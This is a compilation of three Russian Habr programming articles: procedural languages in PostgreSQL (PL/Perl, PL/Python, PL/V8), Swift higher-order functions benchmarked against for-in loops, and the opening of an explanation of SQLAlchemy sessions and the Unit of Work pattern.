Люди знающие поймут: что-то не так. PL/pgSQL умеет [автоматически кешировать планы запросов](https://postgrespro.ru/docs/postgresql/12/plpgsql-implementation.html#PLPGSQL-PLAN-CACHING), а в PL/\* каждый раз запрос планировался заново. По-хорошему запросы надо подготавливать, строить план запроса, а потом уже по этому плану их исполнять столько раз, сколько потребуется. В PL/\* можно явно работать с планами запросов, что мы и попробуем, начиная с **PL/Perl**:
```
DO $$
my $h = spi_prepare('SELECT count(*) FROM pg_class');
for (0..999999) {
spi_exec_prepared($h);
}
spi_freeplan($h);
$$ LANGUAGE plperl;
60s
```
**PL/Python 3**:
```
DO $$
h = plpy.prepare('SELECT count(*) FROM pg_class')
for i in range (0,1000000): plpy.execute(h)
$$ LANGUAGE plpython3u;
62s
```
**PL/V8**:
```
DO $$
var h=plv8.prepare('SELECT count(*) FROM pg_class');
for(var i=0;i<1000;i++) h.execute();
$$ LANGUAGE plv8;
53ms
```
С `prepare` наши два языка практически догнали PL/pgSQL, а третий — тоже хотел, но не дошел до финиша из-за растущих потребностей в памяти.
Но если не учитывать память, то видно, что все языки идут практически ноздря в ноздрю – и не случайно. Узкое место у них сейчас общее – работа с базой через SPI.
### Производительность вычислений
Мы видим, что производительность языка уперлась в работу с базой. Чтобы сравнить языки между собой, попробуем вычислить что-то, не обращаясь к базе, например, сумму квадратов.
**PL/pgSQL**:
```
DO $$
DECLARE i bigint; a bigint;
BEGIN a=0;
FOR i IN 0..1000000 LOOP
a=a+i*i::bigint;
END LOOP;
END;
$$ LANGUAGE plpgsql;
280ms
```
**PL/Perl**:
```
DO $$
my $a=0;
for my $i (0..1000000) { $a+=$i*$i; };
warn $a;
$$ LANGUAGE plperl;
63ms
```
**PL/Python 3**:
```
DO $$
a=0
for i in range(1,1000001): a=a+i*i
$$ LANGUAGE plpython3u;
73ms
```
**PL/V8**:
```
DO $$
var a=0;
for(var i=0;i<=1000000;i++) a+=i*i;
plv8.elog(NOTICE, a);
$$ language plv8;
7.5ms
```
Видим, что PL/Perl и PL/Python догнали и перегнали PL/pgSQL, они раза в 4 быстрее. А восьмерка рвёт всех! Но неужели это задаром? Или мы получим за это по голове? Да, получим.
Число в JavaScript – это float, и результат получается быстро, но не точно: 333333833333127550 вместо 333333833333500000.
Вот формула, по которой считается точный результат:
```
∑ = n*(n+1)*(2n+1)/6
```
В качестве упражнения можете доказать её с помощью математической индукции.
В порядке смеха,
```
DO LANGUAGE plv8 $$
plv8.elog(NOTICE, parseInt(33333383333312755033)) $$;
```
```
NOTICE:
33333383333312754000
```
В Javascript `parseInt` все равно делает float, а не Int.
Всё же в V8 в 2018 г. появился [BigInt](https://v8.dev/features/bigint), и считать теперь можно точно, но с ущербом для скорости, поскольку это не 64-разрядное целое, а целое произвольной разрядности. Впрочем, в PL/V8 это новшество пока не попало. В других процедурных языках числа произвольной разрядности (аналоги SQL-ного `numeric`) поддерживаются через специальные библиотеки.
В Perl для этого есть модуль [Math::BigFloat](https://perldoc.perl.org/Math/BigFloat.html) для арифметики с произвольной точностью, а в Python – пакет [Bigfloat](https://pypi.org/project/bigfloat/) – обертка [Cython](https://cython.org/) вокруг библиотеки [GNU MPFR](https://www.mpfr.org/).
### Производительность функции для сортировки
Вот практический пример, на котором видна разница производительности сортировки по функции, если эта функция пишется на разных языках. Задача: отсортировать текстовые поля, содержащие номера выпусков журнала, которые могут быть такими:
```
1
2
3
4-5
6
6A
6Б
11
12
```
Т.е. вообще-то это строка, но она начинается с числа, и сортировать надо по этим числам. Поэтому, чтобы корректно сортировать как строки, дополним числовую часть нулями слева, чтобы получилось:
```
0000000001
0000000002
0000000003
0000000004-5
0000000006
0000000006A
0000000006Б
0000000011
0000000012
```
Да, я знаю, что это не единственное решение задачи (и даже не совсем правильное). Но для примера оно подойдёт.
Для запроса типа `SELECT ... ORDER BY nsort(n)` напишем функции на PL/Perl, SQL, PL/Python и PL/V8 приводящие номера журналов к этому виду:
```
CREATE OR REPLACE FUNCTION nsort(text) RETURNS text
LANGUAGE PLPERL IMMUTABLE AS $$
my $x = shift;
return ($x =~ /^\s*(\d+)(.*)$/)
? sprintf("%010d", $1).$2
: $x;
$$;
```
```
CREATE OR REPLACE FUNCTION _nsort(x text) RETURNS text
LANGUAGE SQL IMMUTABLE AS $$
WITH y AS (
SELECT regexp_match(x,'^\s*(\d*)(.*)$') as z
)
SELECT CASE WHEN z[1] = '' THEN x ELSE lpad(z[1],10,'0') || z[2] END FROM y;
$$;
```
```
CREATE OR REPLACE FUNCTION py_nsort(x text) RETURNS text
LANGUAGE plpython2u IMMUTABLE AS $$
import re
r = re.match('^\s*(\d+)(.*)$', x)
return x if r == None else ('%010d' % int(r.group(1))) + r.group(2)
$$;
```
```
CREATE OR REPLACE FUNCTION js_nsort(x text) RETURNS text
LANGUAGE plv8 IMMUTABLE AS $$
var m = x.match(/^\s*(\d+)(.*)$/);
if(m) { return m[1].padStart(10-m[1].length,'0') + m[2]; }
else { return x; }
$$;
```
На моей библиотеке из 15.5 тысяч журнальных статей запрос с использованием функции на PL/Perl занимает около 64мс против 120мс на PL/Python и 200мс на PL/PgSQL. Но быстрее всех — PL/v8: 54мс.
**Примечание:** экспериментируя с сортировкой, обеспечьте нужный объем рабочей памяти, чтобы сортировка шла в памяти (EXPLAIN тогда покажет `Sort Method: quicksort`). Объем памяти устанавливается параметром `work_mem`:
```
set work_mem = '20MB';
```
### Память
Perl не любит зацикленные структуры, он не умеет их очищать. Если у вас в `a` есть указатель на `b`, в в `b` указатель на `a`, то счетчик ссылок никогда не будет обнулятся, и память не освободится.
В языках со сборкой мусора другие проблемы. Неизвестно, например, когда память освободится, и освободится ли вообще. Или — если не позаботиться об этом специально — сборщики отправятся собирать мусор в самый неподходящий момент.
Но есть и особенности управления памятью, связанные непосредственно с Postgres. Есть структуры, которые аллоцирует SPI, а Perl не всегда догадывается, что их надо освобождать.
**PL/Perl**
Вот так НЕ течёт:
```
CREATE OR REPLACE function cr()
RETURNS int LANGUAGE plperl AS
$$
return spi_exec_query(
'SELECT count(*) FROM pg_class'
)->{rows}->[0]->{count};
$$;
```
А вот так течёт:
```
CREATE OR REPLACE function cr()
RETURNS int LANGUAGE plperl AS
$$
my $h = spi_prepare(
'SELECT count(*) FROM pg_class'
);
return spi_exec_prepared($h)->{rows}->[0]->{count};
$$;
```
После исполнения хандлер `$h` останется жить, несмотря на то, что ни одной живой ссылки на него не останется.
Ничего страшного, просто надо помнить о необходимости явного освобождения ресурсов при помощи `spi_freeplan($h)`:
```
CREATE OR REPLACE function cr()
RETURNS int LANGUAGE plperl AS
$$
my $h = spi_prepare(
'select count(*) from pg_class'
);
my $res = spi_exec_prepared($h)->{rows}->[0]->{count};
spi_freeplan($h);
return $res;
$$;
```
**PL/Python:**
Python **не течёт никогда**, план освобождается автоматически:
```
CREATE OR REPLACE function cr3() RETURNS int
LANGUAGE plpythonu as
$$
return plpy.execute(
'select count(*) from pg_class'
)[0]['count']
$$;
```
**PL/V8**
Та же история, что и с Perl. Так не течёт:
```
CREATE OR REPLACE FUNCTION crq() RETURNS int
LANGUAGE plv8 AS
$$
return plv8.execute(
'select count(*) from pg_class‘
)[0].count;
$$;
```
А вот так течёт:
```
CREATE OR REPLACE FUNCTION crq() RETURNS int
LANGUAGE plv8 AS
$$
var h = plv8.prepare(
'select count(*) from pg_class'
);
return h.execute()[0].count;
$$;
```
Опять же: не стоит забывать об освобождении ресурсов. Здесь это делает `h.free();`
Так не течёт:
```
CREATE OR REPLACE FUNCTION crq() RETURNS int
LANGUAGE plv8 AS
$$
var h = plv8.prepare(
'select count(*) from pg_class'
);
var r = h.execute()[0].count;
h.free();
return r;
$$;
```
### Параметры
Пора разбираться с тем, как в функции передаются аргументы. В примерах мы будем передавать в функцию 4 параметра с типами:
* целое;
* массив;
* bytea и
* jsonb
В каком виде они попадают в **PL/Perl**?
```
CREATE OR REPLACE FUNCTION crq(a int, b
bytea, c int[], d jsonb ) RETURNS void
LANGUAGE plperl AS
$$
warn Dumper(@_);
$$;
```
```
SELECT crq(1,'abcd', ARRAY[1,2,3],'{"a":2,"b":3}');
```
```
WARNING: $VAR1 = '1';
$VAR2 = '\\x61626364';
$VAR3 = bless( {
'array' => [
'1',
'2',
'3'
],
'typeoid' => 1007
}, 'PostgreSQL::InServer::ARRAY' );
$VAR4 = '{"a": 2, "b": 3}';
crq
-----
(1 row)
```
Будет это JSON или JSONB — в данном случае никакой разницы: они всё равно попадают в виде строки. Это плата за универсальность: в Postgres очень много типов, разной степени «встроенности». Требовать от разработчика, чтобы вместе с новым типом он сразу снабжал и функциями преобразования для всех PL/\* было бы перебором. По умолчанию многие типы передаются как строки. Но это не всегда удобно, приходится эти сроки парсить. Конечно, хотелось бы, чтобы данные Postgres сразу превращались в соответствующие структуры Perl. По умолчанию этого не происходит, но начиная с 9.6 появился механизм TRANSFORM – возможность определять функции преобразования типов: [CREATE TRANSFORM](https://postgrespro.ru/docs/postgrespro/12/sql-createtransform).
Чтобы создать TRANSFORM, надо написать на C две функции: одна будет преобразовывать данные определеного типа в одну сторону, другая обратно. Обратите внимание, TRANSFORM работает в четырёх местах:
* При передаче параметров в функцию;
* При возврате значения функции;
* При передача параметров в SPI-вызов внутри функции;
* При получении результата SPI-вызова внутри функции.
В 11-й версии Postgres появились TRANSFORM JSONB для Perl и Python, разработанные Антоном Быковым. Теперь JSONB парсить не нужно, он попадает в Perl сразу как соответствующая структура. Надо создать расширение jsonb\_plperl, и тогда можно использовать TRANSFORM:
```
CREATE EXTENSION jsonb_plperl;
CREATE OR REPLACE FUNCTION crq2(d jsonb)
RETURNS void LANGUAGE plperl
TRANSFORM FOR TYPE jsonb AS $$
warn Dumper(@_);
$$;
```
Можно вызвать эту функцию, чтобы убедиться, что JSONB превратился в перловый хэш:
```
SELECT crq2( '{"a":2,"b":3}');
```
```
WARNING: $VAR1 = {
'a' => '2',
'b' => '3'
};
crq2
------
(1 row)
```
Совсем другое дело!
Автор этой статьи тоже приложил руку к разработке TRANSFORM'ов. Оказалось, что такой простой тип данных, как `boolean` передаётся в PL/Perl в неудобной форме, в виде текстовых строк `'t'` или `'f'`. Но в понимании Perl строка 'f' это true. Чтобы устранить неудобство, был придуман [патч, определяющий преобразование для булевого типа](https://postgrespro.ru/list/thread-id/1583013317.881182688@f390.i.mail.ru). Этот патч попал в PostgreSQL 13 и скоро можно будет им пользоваться. В виду своей простоты, bool\_plperl может служить минимальным стартовым образцом для написания любого другого преобразования.
Надеюсь, что кто-нибудь разработает TRANSFORM и для других типов данных (bytea, массивы, даты, numeric).
Теперь посмотрим, как параметры передаются в **Python**.
```
CREATE EXTENSION jsonb_plpython3u;
CREATE OR REPLACE FUNCTION pdump(a int, b bytea, c int[], d jsonb ) RETURNS void
LANGUAGE plpython3u
TRANSFORM FOR TYPE jsonb AS $$
plpy.warning(a,b,c,d)
$$;
```
```
SELECT pdump(1,'abcd', ARRAY[1,2,3],'{"a":2,"b":3}');
```
```
WARNING: (1, b'abcd', [1, 2, 3], {'a': Decimal('2'), 'b': Decimal('3')})
pdump
-------
(1 row)
```
Массив преобразуется в массив — это хорошо (начиная с версии PG10 в питон корректно передаются и многомерные массивы). В Perl массив преобразовывался в объект специального класса. Ну и `jsonb` трансформировался. Без TRANSFORM jsonb передастся в виде строки.
Теперь посмотрим, в каком виде параметры попадают в **JS**.
```
CREATE OR REPLACE FUNCTION jsdump(a int, b bytea, c int[], d jsonb) RETURNS void
LANGUAGE plv8 AS $$
plv8.elog(WARNING,a,b,c,d)
$$;
```
```
SELECT jsdump(1,'abcd', ARRAY[1,2,3],'{"a":2,"b":3}');
```
```
WARNING: 1 97,98,99,100 1,2,3 [object Object]
jsdump
-------
(1 row)
```
JSONB преобразовался в объект JavaScript без всякого TRANSFORM! ВременнЫе типы Postgres тоже преобразуются в тип Date JS. То же с boolean. Все трансформации уже встроены в PL/V8.
### Работа с бесконечностью
Константа INFINITY используется не так уж часто, но неаккуратная работа с ней опасна. В PostgreSQL Infinity и -Infinity существуют как специальные значения некоторых временнЫх типов и типа с плавающей точкой. Но передачу Infinity в процедурные языки и обратно надо обсуждать подробно, так как работа с ними может зависеть не только от языка, а и от библиотек, от ОС и даже от железа.
В Python есть модуль Numpy, определяющий числовую бесконечность:
```
import numpy as nm
a = nm.inf
b = -nm.inf
print(a, b)
```
```
inf -inf
```
В Perl тоже есть бесконечность, в её качестве используется строка `"infinity"`, которую можно сократить до `"inf"`. Например, можно сказать:
```
perl -e 'print 1 * "inf"'
```
```
Inf
```
или
```
perl -e 'print 1/"inf"'
```
```
0
```
В PL/Perl, PL/Python, PL/v8 числовая бесконечность из Postgres передаётся корректно, но бесконечная дата — не совсем. Вернее, в PL/Perl и PL/Python нет встроенного типа данных для времени, туда приходит строка. В PL/V8 встроенный тип Date есть, и обычная дата из постгреса превращается в него. Но бесконечную дату V8 не знает, и при передаче она превращается в `Invalid Date`.
### Передача параметров в prepared-запросы
Вернемся к `prepare`, рассмотрим, как там передаются параметры. Между разными языками тут много общего, поскольку все они базируются на SPI.
Когда вы подготавливаете запрос в **PL/Perl**, требуется определить тип параметров, которые передаются, а при выполнении запроса уже указываете только значения этих параметров (точно так же передаются параметры и в PL/pgSQL).
```
DO LANGUAGE plperl $$
my $h= spi_prepare('SELECT * FROM pg_class WHERE
relname ~ $1', 'text' ); # указываем тип параметра
warn Dumper(spi_exec_prepared($h, 'pg_language')); # передаем значение параметра
spi_freeplan($h);
$$;
```
В **PL/Python** суть та же, но синтаксис немного отличается:
```
DO LANGUAGE plpython3u $$
h= plpy.prepare('SELECT relname FROM pg_class WHERE relname ~ $1', ['text'] )
plpy.notice(р.execute (['pg_language']))
$$;
```
В **PL/V8** отличия минимальны:
```
DO LANGUAGE plv8 $$
var h= plv8.prepare('SELECT relname FROM pg_class WHERE relname ~ $1', ['text'] );
plv8.elog(NOTICE, h.execute (['pg_language']));
h.free();
$$;
```
В **PL/Java** всё по-другому. Там явно не используется SPI, а формируется псевдо-JDBC коннект к базе. Для программиста на PL/Java всё происходит так же, как если бы он создавал клиентское приложение. Это удобно, и можно было бы также подойти к дизайну PL/Perl и PL/Python, но это почему-то не было сделано (впрочем, никто не запрещает создать ещё пару реализаций PL/Perl и PL/Python).
### Работа с курсором
У всех функций SPI, которые мы использовали, когда ходили в базу — `spi_exec_query()` и др. — есть параметр, ограничивающий количество возвращаемых строк. Если нужных вам возвращаемых строк много, то без курсора не обойтись, чтобы подтягивать их понемногу.
Курсоры работают во всех этих языках. В **PL/Perl**
`spi_exec_query` возвращает курсор, из которого можно извлекать строки по одной. Закрывать курсор не обязательно, он сам закроется. Но если вы хотите переоткрывать его заново, можно закрыть его явно командой `close()`.
```
DO LANGUAGE plperl $$
my $cursor = spi_query('SELECT * FROM pg_class');
my $row;
while(defined($row = spi_fetchrow($cursor))) {
warn $row->{relname};
}
$$;
```
```
WARNING: pg_statistic at line 5.
WARNING: pg_toast_2604 at line 5.
WARNING: pg_toast_2604_index at line 5.
WARNING: pg_toast_2606 at line 5.
WARNING: pg_toast_2606_index at line 5.
WARNING: pg_toast_2609 at line 5.
WARNING: pg_toast_2609_index at line 5.
...
```
В **PL/Python** всё очень похоже, но курсор представлен как объект, по которому можно ходить циклом:
```
h = plpy.prepare('SELECT ...');
cursor = plpy.cursor(h);
for row in cursor:
...
cursor.close() // не обязательно
```
В **PL/v8** всё тоже очень похоже, но не забывайте освобождать план подготовленного запроса:
```
var h = plv.prepare('SELECT ...');
var cursor = h.cursor();
var row;
while(row = cursor.fetch()) {
...
}
cursor.close();
h.free();
```
### PL/V8: Быстрый доступ к функциям
В PL/V8 можно вызвать функцию не из обычного SELECT, а найти её по имени и сразу запустить при помощи `plv8.find_function(name);`. Но надо учитывать, что в JS функция не может быть полиморфной, как в PostgreSQL, в котором функции с одинаковым именем, но с разными параметрами могут сосуществовать. В PL/v8 мы, конечно, можем создавать полиморфные функции, но при попытке воспользоваться `find_function` будет ошибка.
```
ERROR: Error: more than one function named "jsdump"
```
Если функция по имени находится однозначно, то её можно вызывать, минуя SPI и преобразования типов, т.е. гораздо быстрее. Например, так:
```
DO LANGUAGE plv8 $$
plv8.find_function('jsdump')(1, 'abc');
$$;
```
### Транзакции
В Postgres 11 большая радость: появились *настоящие* процедуры. Раньше в Postgres были только функции. Радость не только из-за совместимости и соответствия стандарту SQL, а вот отчего: внутри процедур можно коммитить и откатывать транзакции.
В PL/Perl и PL/Python уже есть фунции SPI для управления транзакциями, а в PL/V8 этого пока нет. В PL/Perl эти функции называются `spi_commit()` и `spi_rollback()`, а пример использования есть [в документации](https://postgrespro.ru/docs/postgrespro/12/plperl-builtins). В PL/Python это `plpy.commit()` и `plpy.rollback()`.
### Подтранзакции
Подтранзакции удобны для корректной обработки ошибок в сложной многоуровневой логике.
В **PL/pgSQL** внутри транзакции каждый блок с ключевым словом EXCEPTION представляет собой подтранзакцию. О некоторых проблемах с производительностью и надежностью, которые могут при этом возникнуть, можно прочитать, например, [здесь](https://www.cybertec-postgresql.com/en/subtransactions-and-performance-in-postgresql/).
В **PL/Perl** явных подтранзакций нет, но их можно имитировать через savaepoint'ы. По-видимому, при желании нетрудно написать перловый модуль, реализующий подтранзакции в явном виде.
В **PL/Python** подтранзакции появились давно: с 9.5 [явные](https://postgrespro.ru/docs/postgresql/9.5/plpython-subtransaction), до этого были [неявные](https://postgrespro.ru/docs/postgresql/9.4/plpython-subtransaction). Можно определить транзакцию, завернуть ее в `try-блок` и выполнить. Если подтранзакция сваливается, то мы попадаем в блок `except`, если не сваливается, то в блок `else` и идем дальше.
```
try:
with plpy.subtransaction():
plpy.execute("...")
plpy.execute("...")
except plpy.SPIError, e:
. . .
else:
. . .
```
Похожая конструкция есть и в **PL/V8**, только в синтаксисе JS.
```
try {
plv8.subtransaction(function() {
plv8.execute('UPDATE...');
plv8.execute('UPDATE...');
});
}
catch(e) {
...
}
```
### Заключение
Пробуйте, но не злоупотребляйте :) Определенную пользу знание PL/\* может принести. Как и любой инструмент, они любят, когда их используют по назначению.
PL/v8 очень перспективен, но иногда ведет себя неожиданно и имеет ряд проблем. Поэтому лучше брать языки «из коробки», если они подходят для вашей задачи.
Хочу выразить благодарность Игорю Левшину ([Igor\_Le](https://habr.com/ru/users/igor_le/)), который весьма помог мне с подготовкой материала для статьи, и подкинул несколько полезных идей, а также Евгению Сергееву и Алексею Фадееву за предложенные ими коррекции. | https://habr.com/ru/post/502254/ | null | ru | null |
# Производительность встроенных функций высшего порядка в сравнении с циклом for-in в Swift
Производительность встроенных функций высшего порядкаСамые популярные функции высшего порядка - это **map, filter и reduce**. Мы все используем их, так как думаем, что синтаксис намного лучше, и писать их даже быстрее, чем старый способ for-in loop. Но так ли это на самом деле? Задумывались ли вы когда-нибудь о производительности этих встроенных функций? Они встроенные, поэтому, естественно, они должны быть лучше, не правда ли? Давайте погрузимся в эти функции вместе, чтобы выяснить, так ли это на самом деле.
ПримечаниеЕсли вы найдёте статью интересной, то [в этом канале](https://t.me/+qll_YZ6_8bo2Njky) я пишу об iOS-разработке.
### Предварительные условия
* Данные размером 10 000 000 элементов.
* Каждый тестовый пример был выполнен 30 раз.
* Для представления каждого тестового случая использовалась медиана, а не среднее, чтобы убедиться, что на результат не влияют выбросы.
#### Данные
Вот как выглядят данные: есть два массива. Один - массив **fahrenheit**, который представляет собой **1D** массив равномерно распределенных случайных чисел из диапазона <32.0;113.0> и следующий массив, **fahrenheits**, который представляет собой **2D** массив массивов равномерно распределенных случайных чисел из диапазона <32.0;113.0>.
```
let elementsCount = 10_000_000
let fahrenheit = Array(repeating: 0.0, count: elementsCount).map { _ -> Double in
return Double.random(in: 32.0 ... 113.0)
}
var fahrenheits = [[Double]]()
for _ in 0 ..< totalElements {
fahrenheits.append(Array(repeating: 0.0, count: 1).map { _ -> Double in
return Double.random(in: 32.0 ... 113.0)
})
}
```
### Функция: Map
Давайте начнем с простого примера. У нас есть массив **fahrenheit**, и мы хотим преобразовать каждый его элемент в градусы Цельсия. Поэтому мы собираемся сравнить производительность функции **map** с циклом **for-in**.
```
// Swift
let celsius = fahrenheit.map { (degreesFahrenheit) -> Double in
return (degreesFahrenheit - 32.0) / 1.8
}
// For-in loop
var celsius = [Double]()
for degreesFahrenheit in fahrenheit {
celsius.append((degreesFahrenheit - 32.0) / 1.8)
}
```
#### Производительность
Как видно из рисунка, **встроенная функция map намного быстрее** **чем цикл for-in**. **Если быть точным, то в 1,63 раза быстрее**. Несомненно, нам следует использовать встроенную функцию map.
Производительность для Map#### Статический и динамический массив.
Я не стал выделять массив с заранее заданным размером, потому что нет никакой разницы между производительностью статического и динамического выделенного массива. Я провел быстрый тест и вот результат. Это немного удивительно.
Сопоставление статического и динамического массивов### Функция: Filter
Следующая функция - это **filter**. Итак, давайте отфильтруем «холодные градусы» (cold degrees).
Почему я называю их холодными? Я считаю температуру меньше или равную 20 градусам Цельсия (68 градусов по Фаренгейту) холодной, и это причина, по которой я назвал переменную **colds**.
```
// Swift
let colds = fahrenheit.filter { (degreesFahrenheit) -> Bool in
return degreesFahrenheit <= 68.0
}
// For-in loop
var colds = [Double]()
for degreesFahrenheit in fahrenheit {
if degreesFahrenheit <= 68.0 {
colds.append(degreesFahrenheit)
}
}
```
#### Производительность
Разница между встроенной функцией фильтра и циклом for-in в данном случае не так очевидна. **Встроенная функция немного быстрее (1.11x), чем цикл for-in.** В любом случае, она все равно быстрее, поэтому имеет смысл использовать ее.
Производительность для Filter### Функция: Reduce
Последняя функция - **reduce**. Для этого сложим все числа вместе. Например, мы можем использовать полученный результат для вычисления средней температуры.
```
// Swift
let sum = fahrenheit.reduce(0.0) { (result, degreesFahrenheit) -> Double in
return result + degreesFahrenheit
}
// For-in loop
var sum: Double = 0.0
for degreesFahrenheit in fahrenheit {
sum += degreesFahrenheit
}
```
#### Производительность
Результат немного удивляет. Встроенная функция reduce немного медленнее, чем цикл for-in. **Встроенная функция reduce в цикле for-in быстрее в 1,05 раза.**
Производительность для reduce### Функция: FlatMap
Прежде чем мы рассмотрим цепочку функций, давайте сравним функцию **flatMap** с циклом for-in. У нас есть массив **fahrenheits** из массивов double и мы хотим сделать массив double.
```
// Swift
let fahrenheit = fahrenheits.flatMap({ (fahrenheit) -> [Double] in
return fahrenheit
})
// For-in loop
var fahrenheit = [Double]()
for lFahrenheit in fahrenheits {
fahrenheit.append(contentsOf: lFahrenheit)
}
```
#### Производительность
Результат очень похож на функцию reduce. Встроенная функция flatMap немного медленнее, чем цикл for-in. **Встроенная функция flatMap в цикле for-in быстрее в 1,06 раза.**
Производительность для flatMap### Цепочка (map+filter+reduce)
Пришло время для *большего* веселья. Как мы видели до сих пор, встроенные функции работают быстрее или чуть медленнее, чем пользовательский цикл for-in. Допустим, мы хотим преобразовать градусы Фаренгейта в градусы Цельсия, затем отфильтровать температуру простуды, затем сложить все отфильтрованные числа.
Это означает, что в начале у нас есть массив чисел **fahrenheit**, затем вызывается функция **map**, затем вызывается функция **filter**, затем вызывается функция **reduce**.
```
// Swift
let sum = fahrenheit.map({ (degreesFahrenheit) -> Double in
return (degreesFahrenheit - 32.0) / 1.8
}).filter({ (degreesCelsius) -> Bool in
return degreesCelsius <= 20.0
}).reduce(0.0) { (result, degreesCelsius) -> Double in
return result + degreesCelsius
}
// For-in loop
var sum: Double = 0.0
for degreesFahrenheit in fahrenheit {
let degreesCelsius = (degreesFahrenheit - 32.0) / 1.8
if degreesCelsius <= 20.0 {
sum += degreesCelsius
}
}
```
#### Производительность
Упс, как мы видим на фотографии, есть проблема.
Производительность цепочки функцийПользовательский цикл for-in в 2,37 раза быстрее. Когда мы используем цепочку, мы должны избегать встроенных функций и писать пользовательское решение с помощью цикла for-in.
Мы можем спросить: **«Почему это происходит?», «Что не так с цепочкой функций?»**.
Я думаю, что очевидно, что происходит. Когда мы используем цепочку функций, нам приходится выполнять итерации над каждым результатом предыдущей функции. В теории информатики существует **временная сложность (time complexity)**, которая описывает количество времени, необходимое для выполнения алгоритма.
В нашем случае, в начале у нас есть массив **fahrenheit**, и мы вызываем функцию **map**. В этот момент сложность равна *O*(*n*), линейное время, где *n* - размер массива **fahrenheit**. Затем мы применяем результат функции **map** к функции **filter**. Сложность функции **filter** также равна *O*(*n*). На данный момент общая временная сложность составляет *O*(*2n*). Последним шагом является функция **reduce**. Мы применяем результат функции **фильтра** к функции **reduce**. Сложность функции reduce снова равна *O*(*n*), потому что обозначение O является верхней границей скорости роста функции. Другими словами, *в худшем* случае результат функции **filter** может быть *O*(*n*), что означает, что ничего не было отфильтровано, и этот результат используется в качестве входа функции **reduce**. В итоге, временная сложность составляет ***O*(*3n*)**.
Однако если мы используем цикл **for-in**, то все необходимые действия (map. filter, reduce) мы можем выполнить в одном цикле for-in. Благодаря этому факту, в конечном итоге сложность цикла for-in составляет ***O*(*n*)**.
### Map, Filter и Reduce в RxSwift
Для сравнения рассмотрим тот же пример в **RxSwift**. Мы будем использовать функции **map, filter** и **reduce**, как и в предыдущем примере.
```
Observable.from(fahrenheit)
.map({ (degreesFahrenheit) -> Double in
return (degreesFahrenheit - 32.0) / 1.8
})
.filter({ (degreesCelsius) -> Bool in
return degreesCelsius <= 20.0
})
.reduce(0.0, accumulator: ({ (result, degreesCelsius) -> Double in
return result + degreesCelsius
}))
.subscribe(onNext: { sum in
print(sum)
})
.disposed(by: disposeBag)
```
#### Перформанс
О, это совсем не хорошо!
Производительность для RxSwiftКак видно из рисунка, RxSwift намного медленнее, чем встроенные функции и цикл for-in. *Решение встроенных функций в 5,14 раз быстрее, чем RxSwift, а решение цикла for-in - в 12,21 раз быстрее, чем RxSwift*.
**Пожалуйста**, не используйте RxSwift, если вам нужно работать с огромным количеством данных!
### Заключение
Согласно тестовым примерам, **нет ничего плохого в использовании функций высокого порядка, если нам НЕ нужно выстраивать их в цепочку.** Производительность намного выше (1,63x быстрее) при использовании встроенной функции map или немного лучше/хуже при использовании встроенного filter/reduce.
**Если нам нужны цепочки функций высокого порядка, мы должны подумать о том, чтобы не использовать их и реализовать их как решение для цикла for-in.** Производительность намного выше, в 2,37 раза (в примерах этой статьи), чем у встроенных функций.
Нет необходимости всегда использовать современные элементы, структуры или функции современного языка только потому, что синтаксис выглядит лучше или все его используют. Временная и пространственная сложность гораздо важнее современного синтаксиса, и в конечном итоге, модный синтаксис не делает нас лучшими разработчиками, хотя нам так и может показаться.
---
Больше историй, подходов к реализации и инструментов для iOS-разработчика можно найти в [авторском канале об iOS-разработке](https://t.me/+qll_YZ6_8bo2Njky).
Канал об iOS-разработке | https://habr.com/ru/post/661101/ | null | ru | null |
# Разбираемся с сессиями в SQLAlchemy
В этой небольшой статье я хочу дать ответ на вопрос, который возник у меня, когда я познакомился с сессиями в SQLAlchemy. Если сформулировать его кратко, то звучит он примерно так: “А зачем оно надо вообще”? Меня, как человека пришедшего из мира джанги, сессии приводили в уныние и я считал их откровенной фигней, которая усложняет жизнь. Но я ошибался. Как оказалось, сессии в алхимии - штука очень даже полезная. И вот почему.
Cессии являются неотъемлемой частью SQLAlchemy ORM и реализуют шаблоны Unit Of Work и Identity Map. Что это за шаблоны и зачем они нужны мы сейчас и разберем.
### Unit Of Work (UoW, Единица работы)
Сессии в рамках этого паттерна отслеживают изменения, сделанные в рамках одной бизнес-транзакции, а затем “сбрасывают” их пачкой в базу, предварительно выполнив топологическую сортировку по зависимостям и сгруппировав повторяющиеся операции.
Чтобы понять зачем это надо, возьмем пару сниппетов с ActiveRecord ORM-ом и посмотрим какие проблемы там возникают и как сессии их решают.
```
class User(models.Model):
username = models.CharField(max_length=255)
name = models.CharField(max_length=255)
last_name = models.CharField(max_length=255)
class PhoneNumber(models.Model):
number = models.CharField(max_length=255)
user = models.ForeignKey(User, on_delete=models.CASCADE)
```
```
def process_users(users_records):
for user_record in users_records:
u = User(**user_record['user'])
# Мы не сможем сохранить пользователя, если отсутствуют обязательные поля
u.save()
for entry in user_record['entries']:
if entry['type'] == 'phone':
p = PhoneNumber(user=u, number=entry['phone'])
# Если мы не сохранили пользователя выше, то мы не сможем добавить телефон
p.save()
elif entry['type'] == 'fields':
u.name = entry['name']
u.last_name = entry['last_name']
u.save()
```
Какие проблемы мы здесь можем увидеть?:
1. Мы отправляем множество мелких запросов, чем увеличиваем нагрузку на базу, т.к. при каждом вызове метода .save() ORM отправит в базе запрос INSERT/UPDATE. При вызове .delete() происходит то же самое, к слову.
2. Нам необходимо самим поддерживать правильный порядок запросов, что увеличивает сложность и может приводить к ошибкам. Мы не сможем, к примеру, создать пользователя, если у него не заполнены все обязательные поля, как не сможем записать телефон, если не смогли сохранить пользователя. Для решения этой проблемы мы можем держать объекты в памяти и отправлять запросы уже в самом конце, но в таком случае нам нужно отправлять запросы в правильном порядке и порядок этот поддерживать вручную.
Теперь запишем все то же самое, но только с применением сессий:
```
class User(Base):
__tablename__ = "users"
id = Column(Integer, primary_key=True)
username = Column(String(255))
name = Column(String(255))
last_name = Column(String(255))
phones = relationship(
"PhoneNumber", back_populates="user"
)
class PhoneNumber(Base):
__tablename__ = 'phone_numbers'
id = Column(Integer, primary_key=True)
number = Column(String(255))
user_id = Column(Integer, ForeignKey(User.id))
user = relationship(User, back_populates="phones")
```
```
def process_users(users_records):
with Session() as sess:
for user_record in users_records:
user = User(**user_record['user'])
# Никаких запросов в базу не пойдет
sess.add(user)
for entry in user_record['entries']:
if entry['type'] == 'phone':
phone = PhoneNumber(user=user, number=entry['phone'])
# Здесь также никаких запросов в базу не отправляется
sess.add(phone)
elif entry['type'] == 'fields':
user.name = entry['name']
user.last_name = entry['last_name']
# Здесь сессия откроет транзакцию, отправит запросы и выполнит commit
sess.commit()
```
Чем же этот вариант лучше?
